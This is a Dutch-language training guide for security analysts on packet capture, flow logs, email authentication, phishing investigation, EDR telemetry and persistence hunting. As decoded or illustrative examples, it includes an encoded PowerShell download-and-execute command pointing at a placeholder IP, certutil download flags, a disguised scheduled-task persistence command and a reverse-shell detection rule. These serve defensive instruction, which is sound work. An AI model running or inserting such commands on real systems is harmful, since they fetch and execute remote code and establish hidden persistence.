Netwerk- en endpointanalyse: verkeer, e-mail en EDR

Een pakketopname slaat de headers en inhoud die een sensor bereiken op in een .pcap- of .pcapng-bestand. De opname kan de inhoud van onversleutelde communicatie tonen, samen met adressen, poorten en timing. Verzamel en bewaar de opname volgens het monitoringbeleid van de organisatie: een opname kan wachtwoorden en persoonsgegevens bevatten.

Kies een geschikt opnamepunt

Een netwerk-TAP kopieert passief verkeer van een verbinding. Een SPAN-poort laat een switch geselecteerde poorten of VLAN's spiegelen. SPAN kan kopieën laten vallen als de uitgang overbelast raakt; ook een TAP die verkeer samenvoegt, kan pakketten verliezen als beide richtingen samen de capaciteit van de monitoringpoort overschrijden. Een opname op een host ziet het verkeer van die host. Een sensor aan de internetrand mist verkeer dat binnen het netwerk blijft. Buiten NAT ziet de sensor een gedeeld publiek adres, dus bewaar NAT-registraties om de interne host te identificeren.

Sla ruim op, inspecteer gericht

Een opnamefilter bepaalt wat wordt opgeslagen. Een weergavefilter verandert de weergave van al opgeslagen pakketten. De syntaxis verschilt:

BPF port 443 omvat ook UDP, waaronder QUIC. Een beperkt opnamefilter kan een ander kanaal van een aanvaller voorgoed weggooien. Een weergavefilter kun je verwijderen wanneer het onderzoek een andere richting op gaat.

Gebruik voor een gerichte opname:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i selecteert de interface; -nn houdt adressen en poorten numeriek en voorkomt het opzoeken van namen; -s 0 bewaart volledige pakketten; -w schrijft ruwe pakketten weg. Het filter sluit poort 22 uit, bijvoorbeeld een SSH-sessie van een analist. Lees opgeslagen DNS-verkeer met tcpdump -nn -r case42.pcap port 53.

In Wireshark toont dns DNS; http.request toont HTTP-verzoeken. Gebruik tcp.flags.syn == 1 && tcp.flags.ack == 0 voor eerste TCP-pogingen, tls.handshake.type == 1 voor TLS Client Hello-berichten en ip.dst == 10.0.0.0/8 voor bestemmingen in dat bereik. frame contains "password" vindt die tekst in vastgelegde bytes. Combineer voorwaarden met &&, || en !.

Plan de bewaartermijn en stel bewijs veilig

Bij 40% gebruik voert een verbinding van 100 Mbit/s 40 Mbit/s. Delen door acht geeft 5 MB/s; over 3.600 seconden is dat 18.000 MB, oftewel 18 GB. Ringbuffers overschrijven de oudste opname, terwijl gerichte opnamen de opslagbehoefte verminderen. Exporteer relevant bewijs voordat een buffer het overschrijft.

TLS laat adressen, groottes, timing en beschikbare handshakemetadata zichtbaar, maar verbergt applicatie-inhoud tenzij sessiesleutels of een inspectiepunt die beschikbaar maken. De zichtbaarheid van DNS en servernamen hangt ook af van de gebruikte protocollen. Maak een SHA-256-hash van de oorspronkelijke opname, leg de interface en de opnameperiode vast en analyseer een kopie. Controleer de kloksynchronisatie en de statistieken van weggevallen pakketten; de teller “dropped by kernel” van tcpdump laat verkeer zien dat het opnamesysteem heeft gemist.

Lees een pakket van de buitenste aflevergegevens naar de applicatiegegevens. Bij Ethernet toont Wireshark MAC-adressen, daarna de IP-adressen en TTL, vervolgens TCP- of UDP-poorten en tot slot DNS, HTTP, TLS of een ander applicatieprotocol. In het detailvenster open je deze lagen; het bytevenster toont hun ruwe hexadecimale waarden.

Volg de uitwisseling

TCP begint met SYN, SYN-ACK en ACK. In 10.0.0.23:51544 → 203.0.113.80:443 SYN hoort de hoge bronpoort bij de client. In het antwoord zijn de adressen en poorten omgewisseld. FIN verzoekt om een nette afsluiting; RST beëindigt de verbinding abrupt. Een reset als antwoord op een SYN wijst meestal op een gesloten poort. Geen antwoord kan duiden op filtering, verlies of ontbrekende zichtbaarheid, dus onderzoek zowel de pakketten als de positie van de opname.

UDP heeft geen transporthandshake. DNS gebruikt meestal UDP 53 en ook TCP 53, onder meer voor grote antwoorden en zoneoverdrachten. Lees het recordtype van de vraag: A vraagt om IPv4, AAAA om IPv6, MX om mailservers, TXT om tekst en CNAME om een alias. NXDOMAIN betekent dat de gevraagde naam niet bestaat.

Een DNS-antwoord gevolgd door een verbinding met het teruggegeven IP-adres wijst op een mogelijk verband. Bevestig de gevraagde naam met een HTTP-Host-header, zichtbare TLS-SNI, proxyregistraties of endpointgegevens: meerdere domeinen kunnen dat adres delen.

Reconstrueer applicatieactiviteit

Met Follow TCP Stream stelt Wireshark één communicatie in volgorde samen en onderscheidt het de twee richtingen met kleuren. Statistics → Conversations rangschikt communicerende paren naar pakketten en bytes; Protocol Hierarchy toont de verdeling van protocollen.

Stel dat een gegevensstroom het volgende bevat:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

Het antwoord is 200 OK, vermeldt application/octet-stream en begint met MZ. Die bytes wijzen op een uitvoerbaar Windows-bestand. Het .php-pad kan elke inhoud teruggeven; het hoeft niet de naam van het gedownloade bestand te zijn. Controleer het type, de hash en de signatuur van het geëxporteerde object en verbind het verzoek vervolgens met het bijbehorende proces en de geschiedenis van de bestemming.

GET-verzoeken halen inhoud op; POST-verzoeken versturen een berichtinhoud. Bekijk de Host, het pad, de User-Agent, de antwoordstatus en de grootte van de berichtinhoud samen. Grote herhaalde POST-inhouden naar een nieuwe bestemming verdienen onderzoek. Status 301 of 302 leidt de client om, terwijl 404 een ontbrekende bron meldt.

Met File → Export Objects → HTTP, of de SMB-equivalent, kun je overgedragen objecten terughalen als de benodigde onversleutelde inhoud aanwezig is. Bewaar teruggehaalde bestanden in de geïsoleerde analyseomgeving en leg hun hashes vast.

Lees versleuteld verkeer nauwkeurig

Een Client Hello maakt normaal SNI zichtbaar, de gevraagde servernaam, tenzij Encrypted Client Hello die beschermt. TLS 1.2 toont het servercertificaat in de handshake; TLS 1.3 versleutelt het. JA3- en JA4-vingerafdrukken vatten kenmerken van de Client Hello samen en kunnen helpen om vergelijkbare clients te groeperen. Een nieuw certificaat, ontbrekende SNI of een gedeelde vingerafdruk is een aanwijzing om te toetsen aan de context van het proces en de bestemming.

Poort 443 wijst op HTTPS, maar kan het protocol niet vaststellen. Onderzoek de daadwerkelijke uitwisseling of gebruik Decode As wanneer een protocolontleder hulp nodig heeft om een protocol op een ongebruikelijke poort te herkennen.

Flowrecords vatten verkeer samen zonder de inhoud te bewaren. Daardoor kun je praktisch gezien weken aan activiteit doorzoeken voordat je een korte pakketopname ophaalt. De gebruikelijke 5-tupel bestaat uit bron-IP, bestemmings-IP, bronpoort, bestemmingspoort en transportprotocol. Records bevatten ook tijden, aantallen en vaak TCP-vlaggen.

Weet hoe de bron telt

NetFlow v5 heeft een vast IPv4-formaat; NetFlow v9 gebruikt sjablonen en ondersteunt IPv6. IPFIX is de IETF-standaard die van die sjabloonaanpak is afgeleid. Cloudflowlogboeken bieden verwante netwerkoverzichten. sFlow bemonstert pakketten en voegt interfacetellers toe, dus moeten de waarnemingen zorgvuldig worden opgeschaald.

Bij een steekproef van 1 op 1.000 vertegenwoordigen 1.200 bemonsterde pakketten ongeveer 1,2 miljoen pakketten. De schatting beschrijft het volume; een korte verbinding levert mogelijk geen enkel bemonsterd pakket op. Een lege steekproef is zwak bewijs om te bepalen of één bepaalde verbinding heeft plaatsgevonden.

Exporters registreren elke richting vaak afzonderlijk en splitsen lange verbindingen bij actieve time-outs. Koppel records voor de omgekeerde richting door zowel adressen als poorten te verwisselen, met behoud van het protocol. Voeg daarna fragmenten van dezelfde verbinding samen. Tel de bytes per richting afzonderlijk op en meet de verstreken tijd van de vroegste begintijd tot de laatste eindtijd. Als je de duur van overlappende records optelt, wordt de tijd te hoog.

Lees Zeek-verbindingsrecords

Zeek maakt gestructureerde verbindings- en protocollogboeken. In conn.log is ts de begintijd en koppelt uid de verbinding aan records zoals http.log of ssl.log. De velden id.orig_h en id.orig_p duiden de initiator aan; id.resp_h en id.resp_p duiden de responder aan. De initiator startte de communicatie en kan een externe host zijn. proto, service, duration, orig_bytes en resp_bytes beschrijven het transport, de herkende applicatie en de activiteit.

Bij onbeantwoorde pogingen kan Zeek nul bytes aan inhoud melden terwijl er wel pakketten zijn. Flowexporters tellen vaak ook IP-headers mee, zodat hun byteaantallen verschillen. Bekijk pakketaantallen en status naast de gedocumenteerde bytevelden.

Meet een ongebruikelijke upload

Van 02.10 tot 02.50 uur UTC verstuurt 10.0.0.23 2,4 GB naar 198.51.100.7:443 en ontvangt de host 12 MB. Reken 2,4 GB om naar 2.400 MB: het uitgaande volume is 200 keer zo groot als het inkomende. Veertig minuten is 2.400 seconden, dus is de gemiddelde uitgaande snelheid 1 MB/s, oftewel 8 Mbit/s.

De snelheid is niet de conclusie. Vergelijk het gebruikelijke volume, de bestemmingsgeschiedenis en de rol van de host. Een geplande back-up kan een nachtelijke upload verklaren; een nieuwe bestemming en een niet-goedgekeurd verzendend proces versterken een hypothese van gegevensdiefstal. Zoek verder in EDR naar het verantwoordelijke proces, in DNS- of proxygegevens naar de naam en, indien beschikbaar, in pakketten naar de inhoud. Vergelijk in een referentieprofiel gelijksoortige rollen: een back-upserver en het werkstation van een receptionist hebben verschillend normaal verkeer.

Netwerkpatronen laten zien waar je onderzoek moet doen. Een goedgekeurde scanner en een indringer kunnen sterk gelijkende pakketten produceren.

Herken de vorm van het verkeer

Een verticale scan onderzoekt veel poorten op één host. Een horizontale scan onderzoekt dezelfde poort op veel hosts. Als 10.0.0.99 in 12 seconden SYN-pakketten naar 1.000 poorten op 10.0.0.5 stuurt, is de snelheid ongeveer 83 pogingen per seconde. Veel S0- of REJ-records en enkele geslaagde verbindingen passen bij scannen. Controleer de scannerinventaris en het goedgekeurde schema.

Een ongeautoriseerd apparaat is zonder toestemming aangesloten. Vergelijk nieuwe DHCP-leases en MAC-adressen met de inventaris van IT-middelen; een onbekend fabrikantprefix, een ongeautoriseerd toegangspunt of een tweede DHCP-server vraagt om onderzoek. NAC helpt afdwingen welke apparaten verbinding mogen maken.

Beoordeel diensten aan de hand van de hostrol. SSH gebruikt meestal 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 en WinRM 5985/5986. Rechtstreeks uitgaand SMTP-verkeer van een werkstation kan op een spambot wijzen. SMB of RDP van één werkstation naar veel andere werkstations kan op laterale beweging wijzen. Controleer welke dienst daadwerkelijk aanwezig is.

Onderscheid timers van gebruikersactiviteit

Verbindingen om 10.00.00, 10.05.02, 10.09.59, 10.15.01 en 10.20.00 uur hebben tussenpozen van 302, 297, 302 en 299 seconden. Het gemiddelde is 300 seconden en de variatie is ongeveer twee seconden. Vergelijkbare kleine uitwisselingen met die tussenpozen wijzen op een timer. Beaconing is herhaald C2-contact; ook updateagents gebruiken timers. Zoek het proces dat de verbinding startte en het doel van de bestemming. Malware kan jitter toevoegen, zoals ±20%, dus verdient ook een minder regelmatig patroon aandacht.

Onderzoek DNS-misbruik

DNS-tunneling plaatst gegevens in querynamen, vaak met lange gecodeerde labels en veel unieke subdomeinen. Een label kan maximaal 63 tekens bevatten; een gewone volledige naam in tekstvorm heeft een limiet van 253 tekens. Herhaalde TXT- of NULL-query's en een hoog volume versterken de aanwijzing. Veel willekeurig ogende namen die NXDOMAIN teruggeven, wijzen op een DGA die namen probeert totdat er één wordt vertaald. Externe DNS via HTTPS kan er ook voor zorgen dat activiteit niet in de normale DNS-logboeken van de organisatie verschijnt.

Lees en verifieer een regel

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

De header geeft aan dat een melding moet worden gegeven bij TCP-verkeer van het eigen netwerk naar externe poort 4444. De voorwaarde flow vereist gevestigd verkeer richting de server; sid identificeert de regel en rev de revisie. Het bericht noemt een mogelijke omgekeerde shell, maar deze regel controleert een verbindingspatroon, geen shellopdrachten.

Snort en Suricata toetsen verkeer aan regels; Zeek levert vooral logboeken en gedragsscripts. Verifieer een IDS-melding met de bijbehorende pakketten, het platform van het doel en endpointwijzigingen na de uitwisseling. De detectiemodus bekijkt kopieën; een IPS in het verkeerspad kan verkeer blokkeren, waardoor een onterechte overeenkomst de bedrijfsvoering kan verstoren.

Het adres dat een lezer ziet en de identiteit die tijdens de aflevering van mail wordt gecontroleerd, zijn verschillende velden. Begin met het oorspronkelijke .eml- of .msg-bestand zodat je de headers behoudt die in een doorgestuurde kopie vervangen kunnen zijn. Een headeranalyseprogramma kan het bewijs ordenen, maar je moet nog steeds weten welke server elk resultaat heeft geschreven.

Vind de identiteiten en vertrouwde tussenstappen

De SMTP-envelopafzender wordt gebruikt voor onbestelbaarheidsberichten en verschijnt in Return-Path. De header From is de zichtbare afzender. Reply-To bepaalt waar antwoorden naartoe gaan en Message-ID helpt bij het vinden van gerelateerde mailregistraties. Een mailingdienst kan legitiem een envelopdomein gebruiken dat verschilt van het zichtbare domein van de klant.

Elke doorsturende server voegt bovenaan een Received-regel toe. Lees de volgorde van de route van onder naar boven, maar bepaal het vertrouwen op basis van de vermeldingen van je eigen gateway: een afzender kan regels onder de eerste vertrouwde vermelding vervalsen. Ook een optioneel X-Mailer-veld staat onder beheer van de afzender. Gebruik het verzendende IP-adres dat je vertrouwde ontvangende server heeft vastgelegd.

Pas de drie controles toe

Een SPF-TXT-record zoals v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all staat dat bereik en de opgenomen afzenders toe. -all geeft andere afzenders een fail; ~all geeft softfail. Resultaten kunnen ook neutral, none, temperror of permerror zijn. Doorsturen zorgt er vaak voor dat SPF niet slaagt, omdat het IP-adres van de doorstuurder niet door het oorspronkelijke envelopdomein is toegestaan.

Bij DKIM noemt d= het ondertekenende domein en selecteert s= de sleutel op <selector>._domainkey.<domain>. Een geslaagde handtekening betekent dat het ondertekende materiaal ongewijzigd is gebleven. Doorsturen kan de handtekening behouden, terwijl het herschrijven van het bericht die ongeldig kan maken.

Ruime DMARC-overeenstemming accepteert hetzelfde organisatiedomein; strikte overeenstemming vereist een exact overeenkomend domein. Het TXT-beleid op _dmarc.<domain> kan vragen om none, quarantine of reject; de ontvanger beslist over de afhandeling. RFC 9989 verving de oudere DMARC-standaard in mei 2026, verwijderde pct en introduceerde de testmodus t=y. Controleer een beleid met nslookup -type=txt _dmarc.example.com.

Werk een authenticatieresultaat uit

Je gateway meldt SPF pass voor mailer.example-billing.net, DKIM pass voor example-billing.net en From examp1e.com. Geen van beide geslaagde domeinen stemt overeen met het zichtbare domein, dus DMARC faalt. SPF en DKIM hebben verschillende identiteiten geauthenticeerd; ze hebben dat zichtbare adres niet geauthenticeerd.

Lees alleen de Authentication-Results die door een vertrouwde gateway zijn toegevoegd. Een correct ingesteld gelijkend domein van een aanvaller kan voor alle drie de controles slagen, net als een gecompromitteerde legitieme mailbox. Combineer authenticatie met de geschiedenis van de afzender, de berichtinhoud en linkanalyse. Onderzoek omgekeerd of doorsturen of wijzigingen door een mailinglijst een mislukking verklaren voordat je die als vervalsing bestempelt.

Phishing probeert met een bericht een schadelijke handeling uit te lokken: authenticatiegegevens prijsgeven, geld overmaken of een bestand uitvoeren. De sterkste aanwijzing is vaak een afwijking van de normale werkwijze van de ontvanger. Een aanvaller kan gemakkelijk een vloeiende tekst en een vertrouwde naam gebruiken.

Lees de afzender en bestemming zorgvuldig

Vervalsing van de weergavenaam plaatst een vertrouwde naam boven een niet-gerelateerd adres, zoals "IT Service Desk" <it.desk.2291@freemail.example>. Typosquatting verandert de spelling van een domein; verwante domeinen voegen geruststellende woorden toe. Homogliefen vervangen tekens door gelijkende tekens uit andere alfabetten. Een Cyrillische eerste letter maakt аpple.com tot een ander domein; de punycodevorm is xn--pple-43d.com.

Het zichtbare label van een link kan verschillen van het werkelijke doel. Verkorters en open omleidingen verhullen bestemmingen verderop. In https://www.example.com@198.51.100.7/login is de host 198.51.100.7; het deel vóór @ is gebruikersinformatie. In https://example.com.login-verify.net/ is het geregistreerde domein login-verify.net. Als je de geruststellende woorden helemaal links leest, trek je de verkeerde conclusie over wie de bestemming beheert.

Herken de gevraagde handeling

Urgentie, beweerd gezag van een bestuurder, dreiging met sluiting van een account, cadeaubonnen en wijzigingen van bankgegevens zetten de ontvanger ertoe aan bestaande controles over te slaan. Spearphishing gebruikt onderzoek naar een specifiek doelwit; whaling richt zich op bestuurders. Verwante vormen van aflevering zijn smishing via sms, vishing via een telefoongesprek en quishing via QR-codes. Een QR-code kan een link naar een telefoon verplaatsen, buiten de e-maillinkfiltering om.

Bijlagen kunnen documenten met macro's, HTML-aanmeldpagina's of HTML-smokkel, met een wachtwoord beveiligde archieven, schijfkopieën, LNK-snelkoppelingen of pdf's met links bevatten. Moderne Office-versies blokkeren macro's standaard in bestanden die als afkomstig van internet zijn gemarkeerd, dus kunnen berichten gebruikers helpen de blokkade op te heffen. Een archiefwachtwoord bemoeilijkt inspectie, al kunnen sommige gateways het wachtwoord uit het bericht halen en de inhoud scannen.

Onderzoek betalingsfraude zonder malware

Zakelijke e-mailfraude, of BEC, doet zich voor als een collega, bestuurder of leverancier om geld, wijzigingen van betaalgegevens of gevoelige informatie te verkrijgen. Daarbij kan een gelijkend adres of een echte gecompromitteerde mailbox worden gebruikt. Het bericht bevat vaak geen link of bijlage, zodat scanners weinig kunnen onderzoeken. Een gewijzigde Reply-To of een nieuwe regel die antwoorden verbergt, is nuttig ondersteunend bewijs.

In een bestaande e-mailconversatie over een factuur vraagt een bekende leverancier om een betaling van 48.000 euro naar een nieuwe bankrekening over te maken. Authenticatie slaagt. De mailbox is gecompromitteerd en de aanvaller heeft met kaping van een e-mailconversatie gebruikgemaakt van het vertrouwen in het gesprek. Verifieer het verzoek via een telefoonnummer dat al in het leveranciersdossier staat voordat je betaalgegevens wijzigt. Een nummer in het bericht maakt deel uit van het niet-geverifieerde verzoek.

Ook een intern adres kan zijn gecompromitteerd; neem interne ontvangers en antwoorden mee in het accountonderzoek.

Een phishingonderzoek heeft twee taken: het bericht begrijpen en iedereen vinden die het heeft bereikt. Eén gemelde kopie is een startpunt. De handeling van een ontvanger bepaalt welk account- of hostbewijs je daarna nodig hebt.

Bewaar en onderzoek het bericht

Exporteer het origineel met volledige headers en kopieer URL's daarna als tekst voor onderzoek in een geïsoleerde analyseomgeving. Leg indicatoren onklikbaar vast, zoals hxxps://login-verify[.]net/acct, om onbedoelde klikken in tickets te voorkomen. Bewaar het onaangeroerde origineel naast de werkkopie.

Mailgateways kunnen een URL in een parameter van een andere URL plaatsen. Procentcodering geeft tekens weer met een procentteken en twee hexadecimale cijfers: %3A is een dubbele punt en %2F een schuine streep. Decodeer één laag tegelijk en onderzoek het resultaat voordat je een volgende laag interpreteert.

Bijvoorbeeld, URL-decodering van:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

levert https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw== op. Base64-decodering van de waarde u geeft jane@example.org. De parameter identificeert de beoogde ontvanger en kan de valse pagina personaliseren. De bewerkingen URL Decode, From Base64 en Defang URL van CyberChef maken deze afzonderlijke omzettingen zichtbaar.

Verwijder waarden die het slachtoffer identificeren voordat je een URL openbaar indient; een openbaar resultaat of gepersonaliseerd verzoek kan het onderzoek aan de aanvaller prijsgeven. Bekijk verkorte links vooraf via een goedgekeurde analysedienst. Wat de dienst zichtbaar maakt en hoe die inzendingen verwerkt, zijn daarbij net zo belangrijk als de URL zelf.

Onderzoek bestanden en extraheer zoekvelden

Bereken de SHA-256-hash van een bijlage en zoek de reputatie op voordat je die uploadt. Controleer het type aan de hand van de eerste bytes. Voor een Office-bestand kan olevba macro's tonen en automatische triggers zoals AutoOpen of Document_Open en aanroepen zoals Shell markeren. Gebruik een privésandbox voor vertrouwelijke interne inhoud.

Verzamel het afzenderadres en de weergavenaam, het IP-adres in de vertrouwde Received-vermelding, het onderwerp, de Message-ID, URL-hosts en -paden en namen en hashes van bijlagen. Bewaar exacte waarden als bewijs; gebruik onklikbaar gemaakte kopieën in notities. Een bestandsnaam kan per bericht veranderen, terwijl een identieke hash nog steeds identieke bestandsinhoud verbindt.

Bepaal de omvang van ontvangers en interacties

Doorzoek gateway- en mailboxregistraties met verschillende van die velden. Maak een lijst van ontvangers en onderscheid vervolgens aflevering van interactie met behulp van DNS- en proxyregistraties, aanmeldingen na linkbezoeken en EDR-gebeurtenissen voor het openen en uitvoeren van bijlagen.

Een zoekopdracht kan 40 afgeleverde berichten, zes bezoekers van de link en twee accounts met onbekende geslaagde aanmeldingen enkele minuten later vinden. Bewaar de registraties, verwijder de campagneberichten en blokkeer de kwaadaardige URL of het domein via het responsproces. Voor de twee getroffen accounts moeten de wachtwoorden worden gereset en actieve sessies worden ingetrokken. Een ontvangerslijst alleen zou het verschil tussen blootstelling en waarschijnlijke compromittering missen.

Als je het ticket sluit omdat de meldende gebruiker het bericht heeft verwijderd, blijven de andere ontvangers ononderzocht. Leg vast wie het bericht ontving, wie interactie had, wat daarop volgde en welk bewijs nog ontbreekt.

Endpointtelemetrie koppelt netwerk- en bestandsbewijs aan het programma dat het veroorzaakte. EDR registreert endpointactiviteit, detecteert verdacht gedrag en biedt onderzoek en respons op afstand. De geschiedenis kan activiteit zichtbaar maken die de huidige toestand van een bestand niet meer toont.

Kies de juiste bron

Traditionele antivirussoftware richt zich op het blokkeren van bekende kwaadaardige bestanden. EDR voegt de geschiedenis van processen, bestanden, register, verbindingen en aanmeldingen toe. XDR brengt endpointbewijs samen met netwerk-, e-mail-, identiteits- en cloudbronnen. MDM beheert telefoons en tablets: de inventaris en nalevingsregistraties kunnen niet-goedgekeurde apps, rooting of jailbreaking aan het licht brengen, en MDM ondersteunt acties zoals het vergrendelen of wissen van apparaten.

Windows-beveiligingsgebeurtenissen bieden nuttige aanknopingspunten:

Systeemgebeurtenis 7045 registreert ook de installatie van een service. Windows bewaart gebeurtenissen in .evtx-bestanden die kunnen worden geëxporteerd om ze gestructureerd te doorzoeken. Gebruik op Linux auditd, authenticatielogboeken en het systeemjournaal.

Gebruik de procesidentiteit van Sysmon

Sysmon is beschikbaar als ingebouwde optionele functie op Windows 11 en Windows Server 2025 en als Sysinternals-download voor andere systemen. Gebeurtenis 1 registreert procesaanmaak met de volledige opdrachtregel, het ouderproces, hashes en een proces-GUID. Die GUID houdt afzonderlijke processen uit elkaar, ook wanneer het besturingssysteem een PID opnieuw gebruikt.

Andere nuttige gebeurtenissen zijn 3 voor netwerkverbindingen, 11 voor bestandsaanmaak, 12–14 voor registerwijzigingen en 22 voor DNS-query's. Gebeurtenis 3 is standaard uitgeschakeld omdat die een aanzienlijk volume kan genereren. Controleer de actieve configuratie voordat je uit een ontbrekende gebeurtenis afleidt dat de activiteit niet plaatsvond.

Onderzoek gerelateerde gegevens vanuit een melding

Begin met de host, gebruiker, detectie en procesboom. Lees wat het proces heeft gestart, wat het proces zelf heeft gestart en welke bestanden, registerwaarden en bestemmingen het heeft gebruikt. Breid de tijdlijn uit vóór en na de melding; het tijdstempel van een detectie is niet noodzakelijk het begin van de inbraak.

Zoek vanuit een hash verder naar alle hosts met dat bestand, of vanuit een bestemming naar alle hosts die er contact mee hadden. Prevalentie geeft context: een onbekend programma op één van de 5.000 hosts is ongebruikelijk, terwijl software op alle hosts mogelijk standaard is uitgerold. Vergelijk beide met goedgekeurde software en gedrag; ook wijdverspreide kwaadaardige activiteit kan een hoge prevalentie hebben.

Houd respons en zichtbaarheid op orde

EDR kan een host isoleren, een proces stoppen, een bestand in quarantaine plaatsen of verzamelen, een hash blokkeren en een shell voor bewijsverzameling op een draaiend systeem openen. Isolatie behoudt normaal de beheersverbinding terwijl andere netwerktoegang wordt beperkt. Volg het responsdraaiboek en verzamel nodig bewijs vóór acties die procesgeheugen vernietigen of bestanden wijzigen.

Controleer de sensorstatus wanneer de console rustig lijkt: installatiestatus, recente rapportage, configuratie en tekenen van manipulatie. Een gestopte agent veroorzaakt een hiaat in de waarneembaarheid en kan zelf deel uitmaken van de inbraak.

Een procesnaam is slechts één veld in een onderzoek. Controleer het pad van het uitvoerbare bestand, het ouderproces, de gebruiker, de opdrachtregel, de handtekening en de hash samen. Bewaar de PID met de begintijd of gebruik een proces-GUID om te voorkomen dat je verschillende processen koppelt die dezelfde PID opnieuw hebben gebruikt.

Vergelijk naam, pad en ouderproces

Een normale svchost.exe draait vanuit C:\Windows\System32, wordt gestart door services.exe en heeft normaal een -k-groepsargument. lsass.exe draait vanuit dezelfde systeemmap als één instantie, gestart door wininit.exe; ook services.exe heeft dat ouderproces. Explorer draait normaal per aangemelde gebruiker en het ouderproces userinit.exe sluit af. Een ontbrekend actief ouderproces bij Explorer vraagt daarom om een andere interpretatie dan een systeemproces dat door Word is gestart.

Een bijna identieke naam zoals scvhost.exe, een systeemnaam in C:\Users\Public of een ongebruikelijk ouderproces van LSASS wijst op vermomming. Office dat een shell start is een andere sterke aanwijzing: volg WINWORD.EXE of EXCEL.EXE naar cmd.exe, PowerShell, wscript.exe of mshta.exe. Op een webserver wijst w3wp.exe dat een opdrachtshell start op een webshell.

Lees wat ondertekende hulpmiddelen moeten doen

LOLBins zijn legitieme systeemprogramma's die door een aanvaller worden misbruikt. certutil.exe kan met -urlcache -split -f een bestand downloaden; mshta.exe kan een HTML-applicatie vanaf een URL uitvoeren; rundll32.exe en regsvr32.exe kunnen DLL- of scriptcode uitvoeren. bitsadmin.exe kan bestanden overdragen en wmic process call create start processen. Hun geldige handtekeningen geven aan wie de programma's heeft uitgegeven, terwijl het ouderproces en de argumenten laten zien hoe ze in dit geval worden gebruikt.

PowerShell-opties zoals -nop, -w hidden, -ExecutionPolicy Bypass en -enc verdienen nauwkeurig onderzoek. IEX voert tekst uit als code; iwr en DownloadString halen inhoud op. Scriptblokregistratie, gebeurtenis 4104, kan gedecodeerde scriptinhoud zichtbaar maken.

Decodeer voordat je oordeelt

PowerShell -EncodedCommand gebruikt met Base64 gecodeerde UTF-16LE-tekst. Pas voor -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA== in CyberChef From Base64 toe en daarna Decode text as UTF-16LE. Het resultaat is:

iwr http://198.51.100.7/a.ps1 | iex

iwr haalt het script op en de pijplijn geeft het voor uitvoering door aan iex. Hiermee kan code worden uitgevoerd zonder het gedownloade script als bestand op te slaan. Letters met nulbytes ertussen na Base64-decodering wijzen erop dat de UTF-16LE-interpretatie ontbreekt.

Volg een procesketen in volgorde: Outlook opent invoice.docm in Word; Word start een opdrachtshell; PowerShell maakt contact met de server en schrijft upd.exe weg; het nieuwe uitvoerbare bestand start eigen verkeer. Koppel elke stap aan geregistreerde gebeurtenissen. Een ondertekende distributieagent kan ook gecodeerde PowerShell gebruiken voor een goedgekeurde installatie, dus onderzoek de gedecodeerde inhoud en de toestemming.

Onderzoek op Linux uitvoerbare bestanden in /tmp of /dev/shm, curl dat via een pijplijn aan bash wordt doorgegeven, een shell die naar een externe socket wordt omgeleid of /proc/<pid>/exe met de markering “(deleted)”. Een gebruikersproces met de naam [kworker/0:1] is verdacht als het een uitvoerbaar bestand op schijf heeft: echte kernelthreads stammen af van kthreadd, PID 2, en hebben geen uitvoerbaar bestand.

Persistentie geeft een aanvaller een manier om na onderbrekingen zoals afmelden of opnieuw opstarten opnieuw uitvoering of toegang te verkrijgen. Een host kan meerdere mechanismen bevatten, elk met een afzonderlijke trigger. Leg de locatie, het doel, de tijdstempels en de bestandshash vast voordat je een vermelding verwijdert.

Onderzoek automatische startlocaties in Windows

Run-sleutels onder HKCU\Software\Microsoft\Windows\CurrentVersion gelden voor de huidige gebruiker; die kan ze zonder administratorrechten beschrijven. De overeenkomstige HKLM-Run-sleutel geldt voor alle gebruikers en vereist verhoogde rechten om die te wijzigen. RunOnce biedt eenmalige uitvoering; HKLM RunOnce wordt uitgevoerd wanneer een administrator zich na een herstart aanmeldt. Run-vermeldingen worden geactiveerd bij aanmelding, niet wanneer een bestand naar schijf wordt gekopieerd.

Ook opstartmappen starten inhoud bij aanmelding. Controleer AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup van de gebruiker en de gedeelde map C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Sysmon-registergebeurtenissen 12–14 en bestandsgebeurtenis 11 helpen de tijd van deze wijzigingen vast te stellen.

Geplande taken kunnen worden geactiveerd met een interval, op een tijdstip of bij een gebeurtenis:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Hiermee wordt het doel elke 30 minuten uitgevoerd, oftewel 48 keer per dag. De vertrouwd ogende taaknaam identificeert de uitgever van het doel niet. Onderzoek beveiligingsgebeurtenis 4698 als controle is ingeschakeld, het operationele logboek van Taakplanner en de definities onder C:\Windows\System32\Tasks.

Services kunnen bij het opstarten starten, vaak als SYSTEM. Onderzoek systeemgebeurtenis 7045 of beveiligingsgebeurtenis 4697 en het geconfigureerde imagepad. Een nieuwe service die vanuit een openbare map start of PowerShell uitvoert, verdient aandacht.

WMI-gebeurtenisabonnementen koppelen een gebeurtenisfilter aan een consumeractie en kunnen blijven bestaan zonder bestand in een opstartmap; Sysmon 19–21 registreert hun onderdelen en koppeling. Onderzoek ook nieuwe accounts en administratorlidmaatschap, webserverbestanden, browserextensies en onverwachte DLL's die via kaping van de zoekvolgorde worden geladen.

Controleer Linux en macOS

Onderzoek op Linux voor elke gebruiker crontab -l, /etc/crontab, /etc/cron.d/, systemd-unitbestanden in /etc/systemd/system/, opstartbestanden van de shell en ~/.ssh/authorized_keys. Toon units met systemctl list-unit-files. macOS gebruikt LaunchAgents en LaunchDaemons met property-listdefinities; controleer hun geconfigureerde programma's en triggers.

